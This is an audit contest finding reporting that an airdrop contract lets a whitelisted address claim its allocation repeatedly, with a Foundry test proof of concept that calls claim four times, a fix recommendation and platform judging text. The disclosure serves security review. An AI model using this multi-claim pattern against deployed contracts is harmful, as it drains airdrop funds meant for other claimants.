Submission Details
Severity:
It is possible for any claimant to claim thier allocation more than once
Summary
The issue here is that there is no check in place on whether the whitelisted address has already claimed its airdrop allocation. This makes it possible for any of the address to claim the remaining airdrop supply at any given time with multiple transactions in as much as they can cover the fee.
POC
function test__canClaimMoreThanOnce() public {
uint256 startingBalance = token.balanceOf(collectorOne);
vm.deal(collectorOne, airdrop.getFee() * 4);
vm.startPrank(collectorOne);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
vm.stopPrank();
assertEq(token.balanceOf(collectorOne), amountToSend);
}
Tool Used
Manual Review
Recommendation
Add a check in place to make sure all address can only claim once.
Updates
Lead Judging Commences
inallhonesty over 1 year ago
Submission Judgement Published Assigned finding tags:
multi-claim-airdrop
Rewards breakdown
nSLOC
62This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.